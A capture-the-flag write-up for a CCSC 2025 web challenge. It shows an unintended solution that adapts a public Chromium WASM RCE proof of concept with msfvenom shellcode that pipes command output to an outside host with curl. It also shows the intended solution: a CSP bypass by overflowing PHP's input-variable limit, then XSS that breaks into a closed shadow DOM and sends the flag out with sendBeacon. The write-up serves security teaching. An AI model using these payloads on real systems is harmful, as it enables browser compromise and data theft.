🧀 Authors: deltaclock & GramThanos
Clearly before starting enumeration we have an idea that we might have to cheese this challenge. Cheesing for the uninitiated is a term from the gaming community.
using unconventional or unintended game mechanics, glitches, or exploits to gain an advantage, often making a difficult task easier than intended - random reddit post
We are only given an instance link, but luckily upon navigating to the instance the application provides its source code
<?php
$nonce = bin2hex(openssl_random_pseudo_bytes(32));
header("Content-Security-Policy: default-src 'none';script-src 'nonce-$nonce';");
if (isset($_GET["xss"])){
?>
<!DOCTYPE html>
<html lang="en">
<body>
<script type="text/javascript" nonce="<?=$nonce;?>">
(function() {
let d1 = document.createElement('div');
let flag = window.localStorage.getItem('flag') || 'ECSC{f4ke-f1aG}';
window.localStorage.removeItem('flag');
let d2 = document.createElement('div');
d2.appendChild(document.createTextNode('Nothing to see here...'));
d2.appendChild(document.createComment('Here is your flag: ' + flag));
document.body.appendChild(d1);
d1.attachShadow({ mode: "closed" }).appendChild(d2);
window.addEventListener('message', message => {
if (message.source === window) return;
if (event.data && event.data.hasOwnProperty('style')) {
for (const [key, value] of Object.entries(event.data.style)) {
if (key.startsWith('-')) continue;
d2.style[key] = value;
}
}
});
})();
</script>
<?php
echo $_GET["xss"];
?>
</body>
</html>
<?php
}
else {
show_source("index.php");
}
// Use bot.php to access the flag
Skimming through the lines of code we can see:
CSP
HTML injection
with hints of escalation to XSS
JS shadowdom
CSS injection
Lets visit bot.php
and take a look on what we have there
Alright so we can send a URL, lets validate that there is a server side check for
The URL should start with "http://localhost/index.php?".
Unfortunately it seems that there is indeed a whitelist on that one.
Let's however send a URL with a
meta
tag injected causing a redirect to our server to get to know the enemy a little better.
POST /bot.php HTTP/1.1
Host: challenges.cybermouflons.com:10005
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
url=http://localhost/index.php?xss=<meta+http-equiv%3d"refresh"+content%3d"0%3b+url%3dhttps%3a//j2trs8f8.requestrepo.com/">
OH YES! I cheesed the solution to a challenge with an already cheesy solution.
The keen eyes among you might have noticed the version
of HeadlessChrome
, version 120.0.6099.224
when is that from? Stone age? Well it's from January 2024
(18 months ago) so close enough. So I said to myself, there must definitely be a CVE
for this version of HeadlessChrome
. And I was right, there is an RCE exploit
on chromium issues that came out September 2024
(P1
with a bounty of $55000
) that was fixed in 128
, so it probably fits our needs, it does not have a CVE
number to attach here but let's roll with it (Note: there is another writeup that uses this technique as an unintended solution to a challenge).
WASM type confusion due to imported tag signature subtyping. The imported tag signature is allowed to be a subtype of the defined tag signature, which should instead be invariant.
Ye ye blah blah. If you cannot solve web challenge, all web challenges can become PWN challenges
if you can PWN the browser
is a phrase I was once told by christoss
Luckily there is an attached POC that we can change up for our needs!
After cleaning up some windows specific instructions (popping a calculator), we can adjust it to our needs. It seems to execute a shellcode
array, so lets generate one with MSFvenom
.
import subprocess
from requestrepo import Requestrepo
client = Requestrepo(token="", host="requestrepo.com", port=443, protocol="https")
xpl_html = open("xpl.html").read()
CMD = f"ls| curl -d @- {client.domain}"
out = subprocess.check_output(f"msfvenom -p linux/x64/exec CMD='{CMD}' -f py", shell=True)
exec(out)
payload = ', '.join(hex(c) for c in buf)
print(payload)
xpl_html = xpl_html.replace("const sc = [];", f"const sc = [{payload}];")
client.update_http(raw=xpl_html.encode())
We send this to the bot
Would you look at that!
RCE: success
Let's have a look at bot.php
to see how the flag is loaded
<?php
// Load Libraries
require('../vendor/autoload.php');
use HeadlessChromium\BrowserFactory;
use HeadlessChromium\Cookies\Cookie;
function startsWith($string, $startString) {
$len = strlen($startString);
return (substr($string, 0, $len) === $startString);
}
$result = false;
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['url'])) {
$url = $_POST['url'];
if (!startsWith($url, 'http://localhost/index.php?')) {
$result = 'Error! Invalid URL.';
} else {
$flag = trim(file_get_contents('../flag.txt', true));
// Start headless Chrome
$browserFactory = new BrowserFactory();
$browser = $browserFactory->createBrowser([
'headless' => true,
'windowSize' => [1920, 945],
'disableNotifications' => true,
'noSandbox' => true,
'customFlags' => [
'--disable-gpu',
'--disable-dev-shm-usage',
'--disable-setuid-sandbox'
]
]);
try {
// Create a new page
$page = $browser->createPage();
/*
$page->setCookies([
Cookie::create('flag', $flag, [
'domain' => 'localhost',
'expires' => time() + (60 * 60) // expires in 1 hour
])
])->await();
*/
$page->navigate('http://localhost/bot.php')->waitForNavigation();
$page->evaluate("window.localStorage.setItem('flag', `$flag`)")->getReturnValue();
// Visit the target URL
$page->navigate($url)->waitForNavigation();
// Wait for 5 seconds (e.g., for JavaScript to execute)
sleep(5);
$result = 'Page was visited.';
} catch (Exception $e) {
$result = 'Failed to visit page.';
// var_dump($e);
} finally {
$browser->close();
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Visit Page</title>
<link
href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
crossorigin="anonymous"
/>
</head>
<body>
<div class="container my-3" style="width: 600px">
<h2>🤖 Bot</h2>
<form method="POST" autocomplete="off">
<div class="mb-3">
<label for="url" class="form-label">URL 2 Visit</label>
<input
type="text"
class="form-control"
id="url"
aria-describedby="url-help"
name="url"
value="http://localhost/index.php?xss=payload"
autocomplete="off"
/>
<div id="url-help" class="form-text">
The URL should start with "http://localhost/index.php?".
</div>
</div>
<div class="text-end">
<button type="submit" class="btn btn-primary">Visit</button>
</div>
</form>
<?php if ($result) { ?>
<div class="card mt-3">
<div class="card-body">
<code><?= htmlspecialchars($result); ?></code>
</div>
</div>
<?php } ?>
</div>
</body>
</html>
file_get_contents('../flag.txt', true)
How about we do the same?
and flag!
Let's demonstrate the intended solution as well just for completeness sake.
When it comes to cheesing web challenges I would say one of the best videos out there and half of the solution to this challenge is a video from Pilvar (Philippe Dourassov). I won't go through the whole video although it is definitely a must watch as this tricks can indeed come in handy. Although I will add a small note that the video refers to checking versions of chromium for CVEs
so maybe the authors of this challenge should have a watch as well? (A light joke as I of course appreciate the time they spent on making challenges for us to enjoy).
Our point of interest is towards the end of the video where Philippe
demonstrates that... PHP is essentially broken
with a very similar setup to our challenge, essentially PHP won't send headers
after the body has started being sent. Well this is pretty convenient for a CSP bypass
as we can cause an error in PHP internals
and which will cause the body (with errors) to start being sent, conveniently avoiding the CSP headers
from being sent.
The error in this case is caused by sending more than 1000 parameters
If we do that we get this in our response
Warning: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
Warning: Cannot modify header information - headers already sent in /var/www/html/index.php on line 4
Focus on Cannot modify header information
which essentially makes the reply not have any CSP headers
So,
http://challenges.cybermouflons.com:10146?xss=<script>alert()</script>&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a
will pop an alert
!
Lovely! So this gives us XSS
, let's just dump the DOM
, send it to a requestcatcher
and get done with it. Welp! Not so fast! Shadowdom
entered the chat!
In this challenge we have a closed shadowdom
, which Denies access to the node(s) of a closed shadow root from JavaScript outside it
so our initial plan quickly fails.
Some writeups
with some info shadowdom
which I found useful: DiceCTF 2022 shadow - author , DiceCTF 2022 shadow - huli
In the above writeups we see a novel technique demonstrated for bypassing the shadowdom
with again a very similar setup to our challenge. Again CSS injection
is deliberately left for us to use. The trick here is to use the non-standard CSS property
-webkit-user-modify (same as the contenteditable
attribute), which when enabled grants us access to document.execCommand('insertHTML',...) allowing us to inject HTML
in the shadowdom
itself, if we manage to do that, then the challenge is over as it becomes your plain old XSS
. A small issue that we face though is
for (const [key, value] of Object.entries(event.data.style)) {
if (key.startsWith('-')) continue;
d2.style[key] = value;
}
which essentially blocks all css attributes starting with -
, however another way to write css attributes is to use camelCase
so -webkit-user-modify
-> webkitUserModify
So,
<script>
window.postMessage({style:{'webkitUserModify':'read-write'}}, '*')
</script>
after trying this out for a while... By debugging I found out that there was something I missed, which was
if (message.source === window) return;
At least that is easy to avoid, we just make a srcdoc iframe
.
<iframe srcdoc="<script>parent.postMessage({style:{'webkitUserModify':'read-write'}}, '*')</script>"></iframe>
so now the message.source
will be the iframe
object and not the window
object.
Ok now we can employ document.execCommand
!
<iframe srcdoc="<script>parent.postMessage({style:{'webkitUserModify':'read-write'}}, '*')</script>"></iframe><script>setTimeout(() => {console.log('Starting exploit');find('Nothing to see here...');document.execCommand('selectAll');document.execCommand('insertHTML',false,'<img src=x onerror=navigator.sendBeacon(`https://j2trs8f8.requestrepo.com`,this.parentElement.outerHTML)>')}, 2000);</script>
Note: document.execCommand works on the focused element so we search for the "Nothing to see here..." string in order to focus inside the shadowdom
I would like to thank the organizers of CCSC 2025 for organizing such an event. In addition I would like this challenge to now become a note to myself that I should be looking for the low hanging fruit and cheesy solutions to challenges more often as sometimes you can skip quite a lot of work (like the whole challenge in this case!) and maybe I should start noting down some interesting exploits and pay closer attention to recent research in Cybersecurity, in order to employ this novel techniques more often!